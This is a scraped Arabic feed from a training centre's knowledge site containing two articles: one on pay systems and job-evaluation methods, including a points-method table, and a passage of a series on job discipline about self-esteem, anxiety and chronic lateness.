  1. تتجه كثير من المنظمات الآن إلى إيجاد أشكال جديدة من التحفيز بدلا من الأشكال التقليدية لتتوافق مع طبيعة التحول إلى الأعمال المعرفية فقد أصبح التركيز على أدوات التحفيز التى تزيد إحساس البشر بقيمتهم والتي تساعدهم على التخطيط لمستقبلهم وحصد ثمار ما زرعوه ومنها : التعلم المستمر المعاملة الطيبة ، تمكين الموارد البشرية وتحرير طاقتها ، تشجيع حرية التعبير عن الرأي بشكل عام وعن نظام التعويض والحوافز الخصومات بشكل خاص الثقة فى الموارد البشرية الثناء على ما تؤدية الموارد البشرية بإظهار قيمته المضافة تزويد الموارد البشرية بمعلومات كاملة عن مكونات رواتبهم وحوافزهم ..الخ ومعايير تحديده كحجم ووقت الأداء ، ومدى الالتزام بنظم العمل .
  2. أصبح أداء سياسات الأجور والدفع وغيرها من الوظائف الروتينية التقليدية لإدارة الموارد البشرية يتم بسهولة وسرعة من خلال شبكة المعلومات الدولية .
  3. انتشر استخدام حزم البرامج الجاهزة Software فى ميكنة بعض وظائف إدارة الموارد البشرية أو تقليلها أو حذفها مثل : مرتبات وأجور الموارد البشرية ، المزايا والمكافآت والحوافز المتعلقة بهم ، الاستفسارات الروتينية لهم حفظ السجلات والملفات الخاصة بهم ومن ضمن هذه البرامج : برنامج الخدمة الذاتية للمرؤوسين Employee Self Service والذى يمكن الأفراد من ممارسة بعض وظائف جهاز الموارد البشرية فى المنظمة مثل تسجيل البيانات الخاصة بالموارد البشرية وإثبات عمليات الحضور والانصراف وهو ما يقلل من الوقت الذى يضيع فى مخاطبة المرؤوسين لهذا الجهاز .
  4. اتجهت الكثير من المنظمات نحو التركيز إلى جانب نظم التعويض والتحفيز على المنافع الإجمالية التى يمكن أن تقدم للفرد والتى تجعل حياته أيسر وأسهل وأفضل Work Life Benefits مثل برامج الرعاية الاجتماعية والصحية والتأمين ، إتاحة البرامج التدريبية والترفيهية والاجتماعية للموارد البشرية …الخ .

 

مكافأة جهود العاملين

تتوقع الإدارة من العاملين أن يتعاونوا فى أداء جاد مثمر ويتوقع العاملون – إن هم نجحوا فى ذلك بدرجة أو بأخرى – أن يتلقوا مكافأة تتناسب مع ما بذلوا من جهد . ويعتبر تحديد معدلات الأجور واحدا من أصعب المهام فى إدارة الموارد البشرية ، ليس فقط باعتباره عملية معقدة نسبياً لكن للأهمية البالغة لكل من الإدارة والعاملين .

أما بالنسبة للمنظمة فلأجور وملحقاتها من أجور وبدلات ومزايا أخرى تكاد تمثل أكبر عناصر التكلفة الكلية فى كثير من المنظمات . حيث تتراوح بين 33% و65% من هذه التكلفة . وإما بنسبة للعاملين فهى مصدر إشباع حاجاتهم المادية فضلاً عن كونها صيغة من صيغ تقدير المنظمة لجهد الفرد .

وتستهدف المنظمة من تصميم هيكل الأجور وملحقاتها :

  1. جذب العاملين القادرين على الإسهام فى تهيئة القدرة التنافسية وزيادتها (هذا فى منظمات الأعمال ) وعلى تقديم مستوى عال من الخدمة ( فى المنظمات الحكومية وغير الربحية )
  2. تحفيز ودفع العاملين نحو أداء جاد ومثمر .
  3. المحافظة على دفاعية مستمرة على مدى مدة خدمتهم بالمنظمة وتسعى كثير من المنظمات المعاصرة إلى تشجيع العاملين على أداء متميز يتجاوزون به الأهداف المخططة حيث لم يعد الهدف هو مجرد الفاعلية ، أى تحقيق الهداف ولكن التميز يتجاوز الأهداف .

العدالة فى تقرير المكافآت

لما كان أول أهداف المنظمة هو جذب العاملين المناسبين القادرين على الأداء الجاد المثمر أو المتميز يتعين أن يدرك العاملون أن المكافأة التي يتلقونها عادلة وتقدم دون تمييز وعلى أساس موضوعي عادل وحتى تتجنب الإدارة – فى بعض المنظمات – عدم ارتياح العاملين أو سخطهم إزاء التباين فى الأجور للعاملين بنفس العمل ،فإنها تفرض غطاء من السرية على ما تقدمة من أجور ومزايا أخرى . ويصدق هذا أكثر على مكافآت المديرين وطاقم الإدارة العليا وتوضح ممارسات الكاتب ان العاملين لا يستكثرون المكافآت المقدمة لطاقم الإدارة العليا بقدر ما يستكثرون تلك المقدمة لأقرانهم ومن هم فى المستوى الأقل مباشرة من مستواهم إن هى تجاوزات أو تساوت مع ما يتلقونه .

تقييم الوظائف وتحديد الأجور :

يعد تقييم الوظائف الخطوة الأولى لتكريس العدالة فى مكافأة العالمين حيث يهيئ قياساً موضوعياً للمدخلات اللازم توافرها فى العالمين (معرفة ومهارة وجهد ومسئولية ..الخ ) حتى يمارسوا الحد الأدنى من الداء ، ولترجمة هذا القياس إلى عوائد مالية محددة.

والهدف الأساسي لتقييم الوظائف هو تحقيق انسجام داخلى وخارجى فى الأجور والمزايا الملحقة بها . أما الانسجام الداخلى فيتناول مفهوم العلاقة النسبية بين الأجور داخل المنظمة فمثلاً لو تقاضى مشرف أجراً من مرؤوسيه فإن معدلات الأجور حتماً تكون غير منسجمة وإما الانسجام الخارجى فنقصد به العلاقة النسبية المرغوبة بين هيكل مستويات الأجور بالمنظمة وتلك السائدة فى الصناعة بنفس الدولة أو المنظمة الجغرافية التى تعمل بها المنظمة قد تختار المنظمة أن تقدم نفس مستوى الأجور السائد أو أعلى منه أو أقل لذلك تعد دراسة مستويات الأجور السائدة هامة لتحديد الانسجام الخارجى لمستويات الأجور . وهذا بدوره يسهم فى جذب المنظمة لأفضل العناصر والاحتفاظ بها ودفعها للأداء المثمر .

ويفترض أن تقوم فلسفة الأجور والرواتب على قاعدة الدفع مقابل قدر ومستوى جودة العمل مع تقديم حوافز مقابل الإنتاجية المرتفعة والأداء الابتكارى هذا مع ضمان أن يكون اجر العمل اليومى لمدة ثمانى ساعات بحد أقصى كافيا لحياة كريمة مناسبة وان يكون الأجر الأساسي واحدا لنفس العمل ولنفس المؤهل إن تساوت الأقدمية ويتعين تطبيق هذه القواعد بعيدا عن الهوى فإن لم يكف اجر عمل واحد لتهيئة حياة مناسبة للموظف فقد يفتح ذلك الباب للتفكير فى رشوة أو انحراف إلا لمن تسلح بضمير قوى وقناعة تامة .

ويرى معظم الكتاب أهمية العلانية والشفافية فى تقرير الأجور وملحقاتها ومن ثم يتعين توافر اختصاصين مؤهلين لتقييم الوظائف كأساس لتحديد عادل وموضوعى للأجر المناسب وملحقاته لكل وظيفة ، وكذا تقييم مستويات أداء شاغلى الوظائف – بشكل موضوعى – كأساس لتقرير ما يقدم لكل منهم متناسبا مع خصائص الوظيفة وقدر الجهد وقدر المخاطر المقترنة بالأداء .

ويعد تقييم الوظائف فى قطاع الأعمال مدخلاً أساسياً لتحديد الأجر المتناسب مع جهد ومسئولي (قيمة ) كل وظيفة وأيضاً لتحديد قيمتها بالنسبة للوظائف الأخرى فى المنظمة .وهكذا يكون اختلاف أجور الوظائف مستنداً موضوعى لقيمة كل منها .

فمن غير المنطقي أن يتحدد الأجر عل أساس أن الفرد جدي فى عمله (فهذا موضوع آخر هو تقييم الأداء ) أو أن وظيفته خاصة وإنما تكون الأسس المستخدمة فى هذا الصد هى تقييم خصائص وتحديد القدر الذى تتطلبه من الجهد الجسمانى والعقلى ومن المهارات وطبيعة وحجم المسئولية وما إلى ذلك هذا فضلاً عن اعتبار تطلعات الأفراد وحاجاتهم ومستوى الأجور السائد فى المنظمات المماثلة وفى السوق عموماً فالفرد يقرر ابتدأ ما إذا كان يلتحق بالمنظمة ويبقى فيها وإذا التحق بها وبقى فهو يقرر ما إذا كان يبذل وينتج وقدر وجودة هذا الإنتاج كإسهام فى تحقيق أهداف المنظمة وهذا كله يتوقف إلى حد كبير على مدى عدالة مزيج الأجور الذى تتيحه الإدارة فالفرد يقدم جهده ومهارته ووقته للمنظمة ويتوقع أن يحصل على عائد مادي يتناسب مع ما قدمته فإذا تحققت توقعاته فى النطاق المعقول فإن هذا يسهم بدرجة أو بأخرى فى تحقيق أهداف المنظمة والعكس صحيح إلى حد كبير .

من ناحية أخرى قد يحصل الفرد على اجر مناسب يكفى حاجاته لكنة لن يرضى إذا وجد أن من يبذل جهداً أقل منه ويتحمل مسئولية أقل يتقاضى مثله أو أكثر منه النتيجة هى انخفاض المعنويات وقد يتعدى الأمر ذلك إلى الانتقال لمنظمة أخرى وبالتالي زيادة معدل دوران العمالة بنتائجه المكلفة للمنظمة .

 

طرق تقييم الوظائف

يمكن عرض أهم طرق تقييم الوظائف كما يأتي :

طريقة الترتيب

هى أبسط طرق تقييم الوظائف حيث تحدد وتوصف الواجبات والعوامل المميزة لكل وظيفة (مثل المسئوليات وظروف العمل والمهارات المطلوبة) ثم يقوم فريق التقييم بترتيب الوظائف بشكل متسلسل من أعلاها لأدناها ولتسهيل ذلك تحدد الوظائف الأهم من حيث المهارات والجهد المطلوب ودرجة الصعوبة ثم تحدد الوظائف الأدنى من حيث تلك الخصائص وبين المستويين العلى والأدنى ترتب الوظائف الوسيطة من خلال مقارنة كل وظيفة بالأخرى من حيث هذه الخصائص أى من حيث الأهمية .

وفى أسلوب آخر لهذه الطريقة يمكن تكوين فريق أو لجنة للتقييم ويقوم كل عضو بترتيب الوظائف من وجهة نظرة فى ضوء معايير الأهمية ثم يتبادل الأعضاء تقييماتهم ومن خلال تأليف تقديراتهم يتم التوصل للترتيب النهائى للوظائف.

طريقة التقسيم إلى درجات

هنا تقسم الوظائف إلى مستويات أو درجات فتوضع كل مجموعة وظائف – وفقاً لخصائصها كما حددت فى بطاقات الوصف – فى درجة وتمثل كل درجة وعاء للتقييم يضم الوظائف المتقاربة فى خصائصها ويتطلب الأمر هنا وصف حدود كل درجة أى ما تضمه من وظائف دون غيرها وذلك باستخدام قواعد مصممة لتدريج الوظائف .

فمثلاً تخصص درجة لتضم وظائف الإدارة العليا ، وأخرى لوظائف الإدارة الوسطى (مدير الإدارات) وثالثة لوظائف الإدارة التنفيذية لتشمل مثلاً وظائف رؤساء الأقسام او وكلاء الإدارات ورابعة للوظائف الفنية وهكذا وتدرج الوظائف فى كل درجة بنفس الترتيب الذى تم فى الطريقة الأولى السابقة وميزة كل ذلك إمكان تحديد أهمية وقيمة كل وظيفة بالنسبة للوظائف الأخرى فى نفس الدرجة وهكذا يتحدد هيكل الدرجات الوظيفية (التى تضم مجموعات الوظائف) وفقاً لأهميتها النسبية وأيضاً تتحدد فى كل درجة وظائفها مرتبة حسب أهميتها ويمكن تبعاً لذلك تحديد حداً أعلى وأدنى للأجر فى كل درجة يتضمن حدود أجر كل وظيفة حسب قيمتها النسبية .

ويمكن أن يزيد أو يقل عدد الدرجات الوظيفية من منظمة لأخرى بحسب الشكل القانونى للمنظمة (مثل : حكومية – عامة – مشتركة – خاصة ) وبحسب درجة تنوع أو تعقد أنشطة المنظمة أو طبيعة التنظيم

طريقة النقاط :

هى امتداد لطريقة التقسيم إلى درجات ، حيث تستخدم الخصائص المختلفة لأداء الوظيفة كأساس للتقييم ويتم تقييم كل مجموعة وظائف على حدة (مكتبية – إنتاجية بالمصانع ..الخ ) ذلك لأن الخصائص أو العوامل موضوع التقييم يفترض أن تختلف فى درجاتها من مجموعة وظيفية لأخرى ومن وظيفة لأخرى .

ويجرى تقييم الوظائف وفقاً لهذا الطريقة حسب الخطوات التالية :

  1. تحديد ووصف الوظائف التى يشملها التقييم .
  2. تحديد ووصف كل من الخصائص المتطلبة فى أداء كل وظيفة ، مثل التعليم والمهارات الفنية ومهارات التعامل والمجهود الجسمانى والمجهود العقلي والمسئولية فى مجالاتها المختلفة ( عن الأموال /الالآت / أمن العمل والمستندات ..الخ).
  3. وضع حد أقصى من النقاط لكل خصيصة من خصائص الأداء المتطلبة كبديل مرشد فى تحديد قيمة كل منها فمثلاً وظيفة نجار ستأخذ نقاطاً عالية جداً فى عنصر الجهد الجسمانى ونقاط مقاربة فى عنصر المهارة ووظيفة أمين الخزينة ستأخذ أعلى النقاط فى عنصر المسئولية وأدناها فى عنصر الجهد الجسمانى وهكذا .
  4. يتم توزيع القدر الكلى من النقاط – وليكن 5.. نقطة مثلاً – على الخصائص المتطلبة للأداء بحسب أهميتها النسبية فيكون لكل خصيصة وزن يمثل أهميتها النسبية فتأخذ أهمها أعلى مستوى من النقاط (5.. نقطة ) وتأخذ أقلها أهمية خمس هذا القدر وتوزع درجات بين هذين الحدين على المستويات الوسيطة من الخصائص (وهى ثلاثة مستويات فى هذا المثال ) على شكل متوالية عددية وكلما ارتفع رصيد الوظيفة من النقاط فى خصائص أو متطلبات الأداء زاد رصيدها من النقاط التى تجسد أهميتها كأساس لتحديد ما يستحقه شاغلها من اجر .

جدول( 1)

مثال لدليل نقاط تقييم خصائص الوظيفة

(مجموعة الوظائف البيعية )

الخصائص أو متطلبات الأداء أقل مستوى للنقاط المستوى الثانى المستوى الثالث المستوى الرابع أعلى مستوى للنقاط
جهد جسمي 15 30 45 60 75
جهد عقلى 20 40 60 80 100
خبرة عملية 15 35 55 – 75
ظروف ومخاطر 10 20 30 40 50
تعليم 10 20 30 40 50
اتصال 10 20 30 40 50
مسئولية 10 20 30 40 50
مبادأة وابتكار 10     – 50
          500

 

باستخدام جدول التقييم ، تقيم الوظيفة بتحديد ما تستحقه كل خصصيه أو متطلب (وفقا لما تم من تحليل لهذه الوظيفة ) من نقاط فمثلاً وظيفة رئيس قسم المبيعات يمكن أن تأخذ 15 نقطة فى الجهد الجسمانى +80 فى الجهد العقلي + 35 فى الخبرة العملية +10 فى ظروف ومخاطر العمل +40 فى التعليم +30 فى الاتصال الشخصي +45 فى المسئولية +37 فى المبادأة والابتكار وهكذا تحصل على 292 نقطة قيمة هذه الوظيفة .

ووظيفة رجل بيع يمكن أن تأخذ 45نقطة فى الجهد الجسمانى +40 فى الجهد العقلي +35 فى الخبرة العملية +30 فى ظروف ومخاطر العمل +20 فى التعليم  +40 فى الاتصال الشخصي +30 فى المسئولية +23 فى المبأداه والابتكار وهكذا تحصل على 263 نقطة تمثل قيمة هذه الوظيفة .

وهكذا يتحدد سلم الأجور متضمناً الحد الأدنى والأعلى لكل وظيفة بما يتناسب مع قيم الوظائف المختلفة التى تقييمها وتحديد أهميتها النسبية فالوظيفة التى تتطلب قدرات ومهارات ومسئوليات اكبر تحصل على قيمة أعلى من تلك التى تتطلب قدرات ومهارات ومسئوليات أقل ثم تترجم هذه القيم الرقمية إلى قيم نقدية اى أجور .

***

انتهت بحمد الله المقالة الأولى لمسار كيم التعليمي للبرنامج المتكامل في الأجور

بقلم د/محمود الضابط  

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – البرنامج المتكامل في الأجور- بقلم د/محمود الضابط – المقالة الأولى appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/integrated_pay_program-1/feed/ 0 سلسلة مقالات – الانضباط الوظيفي – بقلم د/محمود الضابط – المقالة السابعة https://cameknowledge.camecenter.com/articles/job_discipline-7/ https://cameknowledge.camecenter.com/articles/job_discipline-7/#respond Tue, 04 Apr 2023 15:20:32 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10382 سلسلة مقالات – الانضباط الوظيفي بقلم د/ محمود الضابط المقالة السابعة زيادة تقديرك لذاتك   “هناك دليل دامغ على أنه كلما كان المرء يتمتع بمستوى أعلى من احترام الذات، كان من الأرجح أن يتعامل مع الاخرين باحترام، وود، وسخاء”. ناثانيال براندون   فى علم النفس عادة ما تستخدم تعبيرات “احترام الذات”، و “القلق”، و “السعى […]

The post سلسلة مقالات – الانضباط الوظيفي – بقلم د/محمود الضابط – المقالة السابعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – الانضباط الوظيفي

بقلم د/ محمود الضابط

المقالة السابعة

زيادة تقديرك لذاتك

 

“هناك دليل دامغ على أنه كلما كان المرء يتمتع بمستوى أعلى من احترام الذات، كان من الأرجح أن يتعامل مع الاخرين باحترام، وود، وسخاء”.

ناثانيال براندون

 

فى علم النفس عادة ما تستخدم تعبيرات “احترام الذات”، و “القلق”، و “السعى وراء الكمال” فى نفس السياق لأنها سمات تميل للتأثير على بعضها البعض. فأولها، وأعنى احترام الذات، له تأثير عميق على كافة أوجه حياتنا على وجه التقريب . فشعورنا تجاه أنفسنا يؤثر على كل ما نفكر فيه، وكل ما نلفظ به، وكل ما نأتيه من أعمال.

ولكن ما احترام الذات، وما علاقته بالتأخر المزمن؟ إن أحترام الذات، أولا واخيرا، هو احترام المرء وحبه لذاته. وهو الشعور بالفخر بهويتك والطريقة التى تعيش بها حياتك. وهناك ثلاث وسائل من الممكن أن يؤثر بها احترام الذات على التزامك بالمواعيد :

عندما تعانى من تدنى احترامك لذاتك، تميل توقعاتك لنفسك إلى التدنى. ويسبب هذه التوقعات المتدنية، ربما ترصد معايير متدنية للطريقة التى تعيش بها حياتك. والتأخرالمزمن، وعدم القدرة على التعويل، والتسويف من الممكن أن تشكل جميعها جزءا من هذه المعايير الأدنى من المعتاد.

من الممكن أن يؤدى تدنى احترام الذات الى مشاعر القلق والاكتئاب، مما يدفعك الى الانهماك فى نوع من الافعال أشير انا اليها بأسم “عرض المتهرب”، فى محاوله للتخفيف من هذا القلق. والحاجة الملحة للتخفيف عن نفسك من الممكن أن تحوز أولوية أعلى من محافظتك على المواعيد.

واحترام الذات المتدنى من الممكن أن يؤدى بك الى الخوف من النجاح أو الفشل، والانخراط فيما يعرف ب “تعجيز النفس”.

ربما أنك تحدث نفسك الان قائلا: “إن احترامى لذاتى لابأس به، أشكرك”. لقد كبر كثيرون منا كراشدين فى قوقعة بمعزل عن المحيط الخارجى وصرنا نحب ونحترم أنفسنا على حالها. ومع ذلك فأحيانا ما يستمر بعض الماضى غير المشمول بالامان فى ملاحقتنا، حتى بعد زوال المصدر الأساسى لهذه العادات بفترة طويلة. فى الصفحات التالية، ستتعلم كيف أن تجارب انعدام الثقة القديمة قد يكون لها أثر على حياتك، وكيفية التغلب على عادات مثل التسويف، والسعى وراء الكمال، والقلق التى عادة ما تترسب بما يتجاوز الأسباب الأصلية.

 

التوقعات

لدى بعض الناس، وأعنى المحظوظين منهم، بوصلة داخلية لاحترام الذات يبدو كما لو كانت السفينة التى تحملهم عبر تقلبات الدهر فهم يثقون بأنفسهم، وبسبب هذا الاعتقاد فهم يرصدون لأنفسهم توقعات عالية. بالنسبة لغالبية الناس، فإن الوفاء بتوقعاتهم الخاصة هو أمر غريزى، وهو ما يعرف بنبؤة ذاتية التحقق. واحترام الذات، والتوقعات، والأفعال تشكل نوعا من الدائرة فى حياة كل منا. فالأول يحدد نوع التوقعات التى نرصدها لأنفسنا، وهذه التوقعات تؤثر على أفعالنا، وأفعالنا بدورها تشكل مستويات احترامنا لذاتنا.

ومما يدعو للأسف أن النبؤة ذاتية التحقق تسرى فى الاتجاه العكسى أيضا. فعندما تفتقر الى احساس صحى بالفخر بنفسك، فان افعالك تعكس هذه المشاعر. والتأخر بصفة مستمرة عن العمل، أو نقض العهود بشكل مستمر قد يكون وسيلة للوفاء بالتوقعات المتدنية وقد يبدو حتى طبيعيا.

 

القلق

عندما تستعد صديقتى سوزان لحفل ما فانها تمر بنفس السيناريو فى كل مرة . فبينما تتفقد خزانة ملابسها , يبدا شعور بالتوتر ينتابها . و تقول لنفسها قلقة : ” ليس لدى ما ارتديه ” . و بينما انها تستمتع بالحفلات الا انها لا تشعر بالراحة الكاملة فى وجود الغرباء و تخشى الا تجد ما تقوله . و العثور على الملابس المناسبة يمنححها قدرا من الثقة و يزيل من مخاوفها الى حد ما .

و إذ يقترب وقت المغادرة يزداد القلق لدى سوزان . فترتدى الفستان المقر ان ترتديه للحفل على سبيل التجربة بيد انها لا ترضى عن شكلها فى المراة فهو ليس المظهر الذى تأمله . و سرعان ما تجرب الفستان تلو الاخر على امل ان تجد الفستان المثالى . و تتكدس كومة من الملابس على سريرها و يمر وقت الرحيل بيد ان سوزان لا تفتأ ترتدى فستانا و تخلع اخر . و عندما تصبح مستعدة للذهاب , تكون قد تاخرت بشدة .

ان القلق و هو عرض كثيرا ما يصاحب الاحترام المتدنى للذات , هو خيط مشترك يسرى فى حياة كثير من المتاخرين . و الحاجة الملحة لتخفيف القلق من الممكن ان تكون قوية لدرجة انها من الممكن ان تحتل مرتبة اعلى من مراعاة شعور الاخرين لدى البعض . و فى حالة سوزان , راينا كيف ان الاحترام المتدنى للذات ادى الى شعورها بالتوتر الامر الذى ادى بدوره الى سعيها للكمال كوسيلة لتخيف القلق . لقد حاولت بشكل غريزى ان تعثر على وسيلة لكى تشعر بالثقة و ركزت كل طاقاتها على جانب واحد يسعها السيطرة عليه و هو مظهرها .

فعندما تعثر سوزان على الفستان المثالى للحفل فهذا يمنحها شعور ا بان كل الامور تسير على ما يرام و لذا فان العثور على الملابس المناسبة صار يحوز على اهمية مغالى فيها . و بدلا من ان تتقبل مخاوفها و التحرك فى الطريق الذى يجب ان تسلكه – اى الحفل – ركزت على الظهور بمظهر مثالى . فهى تركز على الاصلاح الخارجى .

إن الكمال بدون شك ليس سمة مستهجنة دائما . فرصد معايير عالية فى الحياة امر مهم . و لكن اذا كان الكمال ما هو الا رد فعل للقلق فان المعايير لا تكون عالية فحسب بل ايضا غير واقعية . فعندما يكون الخوف هو الحافز وراء السعى وراء الكمال , من الممكن ان تقع فى دائرة غير مثمرة تحاول فيها الى ما لا نهاية التخفيف من التوتر الذى لا يزول ابدا .

 

عرض المتهرب

من السبل الأخرى التى يمكن ان يؤدي من خلالها احترام الذات المتدنى و القلق الى التاخر المزمن هو ما اطلق عليه ” عرض المتهرب ” . فبدلا من ان يلجا المتهرب الى السعى وراء الكمال للتخفيف من وطأة القلق فانة يتجاهل الساعة او يجد انشطة اخرى تساعده على تجنب التزاماته . و قد تشرع المراة المتهربة فى جوب المنزل لتصليح الاجهزة الكهربية او تقر فجاة ان مجوهراتها فى حاجة الى الصقل . فمثلها مثل النعامة التى تدفن راسها فى الرمال , نجد ان المتهربة لها القدرة على الحد من علة قلقها و التركيز بدلا من ذلك على مهمة تافهة مثل شحذ اقلامها الرصاص فى مكتبها . و لا يسعها ان تجبر نفسها على التصرف سوى فى نهاية المطاف.

و بعض المتهربين هم اشخاص معرضون للاصابة بالاكتئاب و يجدون صعوبة فى المضى قدما بسبب مشاعر الكسل او الياس . و هذه المشاعر من الممكن ايضا ان تؤدى الى القلق , اذ يشعر المرء بالذنب و الندم على على ما يراه الناس كمهام ينجزها الاخرون بسرعة هائلة . فمغادرة المنزل من الممكن ان تمثل عملا لا سبيل لتذليله لشخص يشعر بالاكتئاب .

و الجميع يشعرون بالتوتر من ان لاخر بالطبع و لكن اغلب الناس بالرغم من ذلك يستطيعون الوصول الى وجهتهم فى الموعد المحدد و يتجنبون المماطلة المفرطة . ما السر وراء استجابة البعض للقلق اقوى من البعض الاخر ؟

لقد أثبتت الأبحاث أن البعض يتمتعون بقدر اقل من تحمل القلق عن البعض الاخر . فهم يستشعرون القلق بشكل اكثر عمقا و اكثر اطرادا . و الادهى انهم قد لا يدركون السبب وراء توترهم او لا يعرفون كيف يتجاوزون مشاعرهم . و عندما لا تفهم او تدرك مشاعرك , من الممكن ان تعتاد على الاستجابة لها بشكل تلقائى بحيث تقوم باشياء بشكل غريزى لكى تشعر بالتحسن مثل تجربة عشرة اثواب او ممارسة لعبة تجاهل الساعة .

و ما من شك ان القلق و التسويف ليسا مقصورين بشكل حصرى على المتاخرين . ففى الدراسات التى اجريت على المواظبة , اكتشف ان الاشخاص المتاخرين اكثر توترا بصفة عامة من الاشخاص المواظبين , لا فى ظروف مثل مقابلات العمل الشخصية فحسب او المواعدات الاولى بل فى شئون الحياة بصفة عامة ايضا . فلقد بدا كثير منهم و كأنهم يعيشون بشعور طويل الاجل من القلق . و ينظر علماء النفس زاعمين ان بعضنا مولود بطبائع اكثر حساسية او خوفا وهو ما يمكن ان يؤهلنا مسبقا للتسويف فى المواقف غير المريحة او المخيفة .

 

الخوف من النجاح والخوف من الفشل

الخوف من النجاح

ان السواد الاعظم منا يود ان يحقق النجاح ,سواء على المستوى العملى ,أو على مستوى العلاقات ,أو على مستوى الحالة الصحية ,أو على مستوى المظهر.ولذا,فمن الصعب أن نتخيل أن احدا يخشى النجاح ولكن النجاح من الممكن أن يمثل للبعض مفهوما مخيفا .فهو من الممكن أن يضعفنا فى نطاق مخيفا بعيدا عن المنطقة المريحة التى الفناها .وقد لا يتفق أيضا النجاح مع الصورة التى رسمناها لانفسنا .

والاشخاص الذين يخشون النجاح عادة ما ينخرطون فيما يطلق عليه “تعجيز الذات” ,اذ يتصرفون بطرق تضمن لهم ألا يتركوا الامان الذى يتمتع به موقفهم الحالى .وقد يحضرون الى العمل دائما متاخرين ,ويخفقون فى الوفاء بالمواعيدالنهائية بصفة منتظمة ,أو يرجئون المشاريع حتى الدقيقة الاخيرة .ما الذى يدعو أى شخص لاعاقة نجاحه؟ان هذا ليس فعلا واعيا , بل وسيلة اعتيادية للتصرف قائمة على تقدير منخفض للذات فالانسانة التى لا تستطيع أن تتخيل نفسها ناجحة عادة ما ستتعلق بخطأ قاتل شىء يحول دون مضيها قدما .وتعدشيرلى مثالا لشخص يخشى النجاح :

تعمل شيرلى كمنسقة اعلان لصالح وكالةاعلان صغيرة فى دالاس .ويكن لها مديرها احتراما كبيرا وشرع فى اشراكها فى انشطة أكثر تقدما مثل العروض التقديمية للعملاء وعمليات المراجعة ولقد تحدث اليها بشان احتمال ترقيها لوظيفة مسئول عن أعمال شركة اذا عالجت مشكلة تأخرها وميلها الى التسويف .

وتروق لشيرلى فكرة الترقى وتقاضى راتب أكبر , بيد أنها لا تستطيع أن تتخيل نفسها فى منصب تنفيذى وبدون مرشد يدفعها للامام ينتابها القلق من انها ستفتقر للحافز او الطاقة لمواكبة المتطلبات الجديدة فتحث نفسها متسائلة:”ماذا لو رقانى ثم أدرك أننى لست الانسانة النشطة التى ظنها ؟وماذا لو فصلت من عملى ؟”.

ان شيرلى لا تعتقد حقا انها من الاشخاص الذين يستطيعون التعاقد مع شركة ذات حيثية او ينجحون فى عمل عرض تقديمى كبير ولذا فهى تتمسك بخطأ قاتل يحول دون مضيها قدما .وتتصرف بشكل يتسق وتصورها الذاتى عن نفسها ,كأن تصل متأخرة للاجتماعات وتسليم تقارير معدة بتسرع.

وبينما ان الخوف الذى تشعر به شيرلى حقيقى ,الا انه من الممكن الا يكون له أى اساس . ان الاشخاص القادرين على تجاوز شكوكهم فى انفسهم عادة ما يكتشفون انهم قللوا من تقديرهم لقدراتهم وغالا فى المصاعب المرتبطة بالانجاز وبمجرد أن يكفوا عن تعجيز انفسهم عادة ما يندهشون لمدى كفاءتهم .

 

الخوف من الفشل

وبينما يخشى المتأخرين من النجاح نجد ان البعض الاخر يخشى من الفشل . وما من احد يود ان يفشل بالطبع ,ولكن بالنسبة للبعض نجد ان الخوف من الفشل يمكن ان يشل مشاعرهم . والاشخاص الذين يخشون من الفشل الى هذا الحد عادة ما ينظرون اليه كدليل على الضعف او عدم الكفاءة بدلا من كونه نكسة مؤقتة.ولذا فانهم يوظفون خطأهم القاتل الخاص بهم بشكل مختلف .فهم يستخدمون التاخر او غيره من اشكال المماطلة كوسيلة دفاع , او مرجع يستطيعون التعلل به اذا ما فشلوا , “اننى مدرك اننى ساحصل على هذه الترقية اذا شرعت فى الحضور الى العمل فى الموعد المحدد “. انهم يجدون الامر أقل مشقة لو دمروا أنفسهم بعيب بسيط “قابل للاصلاح” مما لو واجهوا احتمال الفشل لانهم لم يرقوا للتحدى .

ان المماطلة والتاخر المزمن يسمحان لك بتخيل أنك ان استطعت أن تتجاوز هذا العيب البسيط , فستصب نجاحا هائلا وعدم حلك لمشكلتك يسمح لك بالحفاظ على تصورك الشخصى لنفسك.

 

كيف بدأ الامر برمته

ما السبب وراء احترام الذات المتدنى والقلق ؟ يقترح دكتور ادموند جيه.بورن,مؤلف كتاب the anxiety and phobia Workbook  ,أن العوامل الوراثية الى حد ما من مسببات احترام الذات المتدنى والقلق فيقول :”ان ما يتم توارثه يبدو وانه نمط شخصية عام يجعل المء عرضة مسبقا للقلق “. وهناك علماء نفس آخرون ينسبون مؤثرات عائلية وبينية , وكذلك أفعالنا الشخصية الى تطور احترامنا لذاتنا .

والمؤكد أن احترام الذات هو مهارة يستطيع أى شخص الى حد كبير اكتسابها فهى ببسلطة طريقة التفكير والتصرف والحديث توحى بالاحترام .فالامر لا يستدعى أن يكون لديك الابوان المناسبان ,أو تكون قد نشأت النشأة السليمة لكى تبنى احترامك لذاتك .فمن الممكن جدا أن تبنى احترامك لذاتك لاحقا فى حياتك .

 

بناء تقدير الذات والحد من القلق

“لم يفت الأوان أبدا على أن يكون المرء ما كان من الممكن أن يكونه”

-جورج اليوت

ما من شك انه لا يسعك أن تلوح بعصا سحرية فتكسب مزيدا من احترام الذات .فبالنسبة لبعض الناس ,يكون من الأفضل أيستعينوا بمعالج متخصص من أجل أكتساب احترام الذات والحد من القلق .ولكن بالنسبة لهؤلاء الذين يعانون من مشاكل متوسطة فيما يتعلق باحترام الذات هناك القليل من المبادىء الاساسية التى ستساعد على زيادة احساسك باحترامك لذاتك بشكل هائل :

  • توقع المزيد من نفسك ,وافعل الصواب من وجهة نظرك.
  • تعلم التعامل مع قلقك.
  • تغلب على الخوف من النجاح أو الفشل بواسطة تحدى نفسك.
  • قم بعمل شىء تحبه.
  • أقم وحافظ على الصداقات والعلاقات العائلية.

 

توقع المزيد من نفسك

